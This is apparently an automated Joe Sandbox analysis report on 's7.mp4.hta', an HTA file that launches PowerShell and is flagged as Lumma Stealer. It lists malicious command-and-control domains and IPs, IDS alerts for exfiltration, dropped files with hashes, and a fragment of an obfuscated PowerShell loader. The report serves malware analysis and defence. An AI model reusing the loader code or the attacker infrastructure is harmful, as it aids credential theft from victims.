https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.4616681102.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2217153188.0000000004D08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2217153188.0000000004D1A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2202291886.0000000005241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.00000000049C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.4649505674.000000000600A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2208341368.00000000062B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.c	powershell.exe, 00000008.00000002.3189944178.00000000070A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.4616681102.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2217153188.0000000004D30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2202291886.0000000005241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3141068280.00000000049C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hoppricerwir.cyou/EM	powershell.exe, 0000000E.00000002.3438118078.0000000003326000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.32.1	hoppricerwir.cyou	United States		13335	CLOUDFLARENETUS	true
188.114.96.3	s7.klipdywoziy.shop	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586536
Start date and time:	2025-01-09 09:30:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	s7.mp4.hta
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winHTA@17/13@2/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 95% Number of executed functions: 127 Number of non-executed functions: 67
Cookbook Comments:	Found application associated with file extension: .hta Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 23.56.254.164, 20.109.210.53
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 4328 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5776 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5820 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6524 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: s7.mp4.hta

Simulations

Behavior and APIs

Time	Type	Description
03:31:12	API Interceptor	136x Sleep call for process: powershell.exe modified
03:31:44	API Interceptor	11751x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.32.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
188.114.96.3	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/?xP7x=4VB/N4F6tibqC9FQILosJ+n1llTK4MiF4YtEqiz3GsaSMOHPZtZI38ZqeQNXmBxLoc2gIm7YkXHcJ/CISLsxa/r9DhwgcU3z86+N04yu78wK1Du9wX32CCg=&F4=Q0yHy
	GTA5-elamigos.exe	Get hash	malicious	Esquele Stealer	Browse	/api/get/dll
	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://t.co/qNQo33w8wD	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	172.67.144.26
	uU6IvUPN39.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	xCnwCctDWC.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
CLOUDFLARENETUS	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://t.co/qNQo33w8wD	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	172.67.144.26
	uU6IvUPN39.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	xCnwCctDWC.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.64.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	5dFLJyS86S.ps1	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Purchase Order A2409002.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Ref#103052.exe	Get hash	malicious	XWorm	Browse	188.114.96.3
	NEW PURCHASE INQUIRY.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://minia.n1tab.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://topmarktingplace.com/4vfVEJ42616owhy1324yhmrkkdpck110EVYGTFUNAFUPGFT22589MFQQ17548D10	Get hash	malicious	Unknown	Browse	188.114.96.3
a0e9f5d64349fb13191bc781f81f42e1	uU6IvUPN39.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	P2V7Mr3DUF.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	v3tb7mqP48.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	xCnwCctDWC.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	DPlvBkg4aj.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	https://veryfast.io/?ap=adw&as=g_d_fast_in&dm%5Bads%5D=new_static&dm%5Btype%5D=dis&gad_source=5&gclid=EAIaIQobChMIgp352NzmigMVZAOzAB0wMA8oEAEYASAAEgI_hfD_BwE	Get hash	malicious	Unknown	Browse	104.21.32.1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emda2Ca6pZlbjvwRjdHPRhHgkjDt4iWN3yBGHVQ9smzdcU6CDQpOFP:J5opbjvwRjdvRCkjh4iUx5Uib4J
MD5:	C7C7584B53C7E1685BD19C0CAEBB4C44
SHA1:	4F9D95010E36559C4F2D15E0E9C20349A65783A6
SHA-256:	F5DBB7A566A3BD3A84DB8FC60784E768CC6753BACD192C6CD71098F1C0B4B01E
SHA-512:	281C50EBE3BAB2836D1C06B7DE27E320F8D43A11956165D40007BBFF3B6D78A3AC6094E6A7AB762F627E308C9A4E40139B8D0A347669C5D32B5AB3AA4EDEA9D7
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:NlllulNll:NllU
MD5:	75C059F0C6543681C4ACFE36E7E99F37
SHA1:	79EE76A6673DEB72E024542E6F1682CE70643A0C
SHA-256:	0268CAE1D808221A37116A6E7C4B4C0AE945A0243AA0B466C680FBD27B14FAA4
SHA-512:	BE0A19696CDDA35684C2C60B8E5862224BC044932A43D800ACF32E7D22695A1290B97ED68BBAEC2FAAAAD9CAC04C718C541AF9A8291BDB3331F4EDC30875B21D
Malicious:	false
Preview:	@...e...................................".......................

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Windows\System32\backgroundTaskHost.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	1.1640080674521311
Encrypted:	false
SSDEEP:	24:x44WmUI1WlDuUbwB7x/dN/+wB7jEbnwCxpwZv0zRH6u61W1Wd0x5cmmNCwRkNE9/:eJ+E87hd/7TCxe0PEd0x5eNvki
MD5:	00282606D137C20832BE19079EBC88DA
SHA1:	63D99CF987643B0C9D94765EB0D9B8071CD81218
SHA-256:	E7A52FEBE40F3F10198DD04CDB6A3E124DDA2C5900B206D761BFB0A67F9E213D
SHA-512:	96D67AB73E4DE47B14067F19DFDFDCADB30E17E8CB7711DFC38B83B46611F0B23989612BC44D028985433C32DB87F51D4DCE084B1A079F31A2491C1BAACB6C04
Malicious:	false
Preview:	regf........b.Q.7.................. ...........y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtm"..!qb................................................................................................................................................................................................................................................................................................................................................B.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Windows\System32\backgroundTaskHost.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	1.2004124861113596
Encrypted:	false
SSDEEP:	24:J144WLeZ/O7I1WlDuUbwB7x/dN/+wB7jEbnwCxpwZv0zRH6u61W1Wd0x5cmmNCwt:YJ1sE87hd/7TCxe0PEd0x5eNvki
MD5:	D48A067A68A5B88A79F14AF2D81E75EE
SHA1:	2F24C315958B2769F55D3D8AC590D9064855F498
SHA-256:	39A6E93BE86B0767DB26BF1AD71CD2C3F214FA9A267737942A56919D796F4F7D
SHA-512:	A5014CA30752389BF028461AA02CC9D1F2A9BA3660868EDB40C5A56A76CA90E0898C99BCBF9A643BB6B7D6031E8B35AC418607C3CEA9610E3B8EAB48010D688C
Malicious:	false
Preview:	regf........b.Q.7.................. ...........y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtm"..!qb................................................................................................................................................................................................................................................................................................................................................B.HvLE....................(...T..~.............hbin................b.Q.7..........nk,.U..!qb..................................x...............................Test....p...sk..h...h.......t.......H...X.............4.........?.......................?....................... ... ...............YQ..fr]%dc;.............nk ...;.W...................................h...............................Alarmsy ........p...sk..x...x.......t.......H...X.............4.........?.......................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qyvjj0f.wfp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5u0un3gb.1yc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_buc5ncn0.zoj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hocqv1k5.au5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mawsinhw.vdl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qjafhhwv.hfc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tc3j2dpb.oi1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tj4fkcmo.xsq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\a.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	260
Entropy (8bit):	6.181405988354268
Encrypted:	false
SSDEEP:	6:Ah6r2h8EqQQZL5emCr9W2b6RxNtUiycUAsTpzE2y:Ahbh8tQQZAmE9Ze1Cvh/ry
MD5:	A0DF96AADC8418660954F40A1A526D1A
SHA1:	8FEB2DF923A90809D184A5075B6479900D399EBE
SHA-256:	0361AD387443484FD8975E55B9F7FDD03C065F6BF9A3B7ED21525763FA894F20
SHA-512:	9E217D2C43127B1A5A5B36000E5E91D17A3B3F78F1529FA6077F59E282F19F5E660C123F1F4FD67D68FF71BEE40936C63FADDA0EA357F57AAC547C7DC95C0548
Malicious:	false
Preview:	function SLq($JFxKynij){..(($JFxKynij -split '(?<=\G..)'\|%{$LqlFZRs.SubString(3,100)[$_]}) -join '' -replace ".$")};$LqlFZRs ='iexdOJcy~_4G5_}gAFm-@0pqY.xB)ohKlQLtBu.W%\aMoITH{:16vVe/*cx7ktCXSw;RniQs04D#(0N9l2\"fE3r5b{"RZ8U{0jzPvC75515822365186997766516558'..

Static File Info

General

File type:	data
Entropy (8bit):	4.068440874979042
TrID:
File name:	s7.mp4.hta
File size:	1'816'543 bytes
MD5:	b89e810109eee789002356c8bf42cdbc
SHA1:	b15b5bedd8474a827ec6af8e7dab5a99dfb6b2f7
SHA256:	a2aeba35d01759a37002a09c830c3435d01807a7d889a6e9142c276587ce9ea8
SHA512:	2e6681552ec00db09b36c3172860b100953fcbbc10b9a30f029af5fc160aaf201c09bb19eeef88e6bc9169ae043b083e210090df7315917d4c92f03261328473
SSDEEP:	24576:QzvrAZrCGrQrQcrQtrQaecvLgurQ7brfar6QZ1r:QYovrs2azgHjvQT
TLSH:	90857E4A37624227D879A770DDD287283535F9D84B87835A86C8B3362D163B83EC25FD
File Content Preview:	66I75U6eq63F74m69I6fK6en20X43N51y6an6dm28a6cn58d50q72n62y6dF29n7bI76e61t72A20h7aa7aw59P50N66l3dA20r27F27q3bf66h6fJ72t20t28E76w61I72N20x42y4fk6bp66E61y77w20c3dS20m30s3bA42p4fx6bF66E61i77N20Y3cJ20b6cy58v50g72j62I6dw2eh6cu65E6eA67q74A68R3bw20C42x4fl6br66R61R

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T09:32:50.514785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49992	104.21.32.1	443	TCP
2025-01-09T09:33:10.552902+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49992	104.21.32.1	443	TCP
2025-01-09T09:33:10.552902+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49992	104.21.32.1	443	TCP
2025-01-09T09:33:11.073138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49993	104.21.32.1	443	TCP
2025-01-09T09:33:11.505953+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49993	104.21.32.1	443	TCP
2025-01-09T09:33:11.505953+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49993	104.21.32.1	443	TCP
2025-01-09T09:33:12.768758+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49994	104.21.32.1	443	TCP
2025-01-09T09:33:13.638531+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49995	104.21.32.1	443	TCP
2025-01-09T09:33:14.653482+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49996	104.21.32.1	443	TCP
2025-01-09T09:33:15.832012+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49997	104.21.32.1	443	TCP
2025-01-09T09:33:16.280405+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49997	104.21.32.1	443	TCP
2025-01-09T09:33:17.059842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49998	104.21.32.1	443	TCP
2025-01-09T09:33:19.174072+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50001	104.21.32.1	443	TCP
2025-01-09T09:33:19.609984+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50001	104.21.32.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 09:31:17.585969925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:17.586000919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:17.586085081 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:17.644165993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:17.644185066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.109606028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.109755039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.111768007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.111780882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.112040997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.159554005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.164110899 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.211347103 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.498174906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.498265028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.498298883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.498337030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.498363018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.498399019 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.498423100 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.498955965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.499033928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.499041080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.499581099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.499614000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.499635935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.499644041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.499723911 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.499730110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.550160885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.584042072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.586606979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.586638927 CET	443	49723	188.114.96.3	192.168.2.6
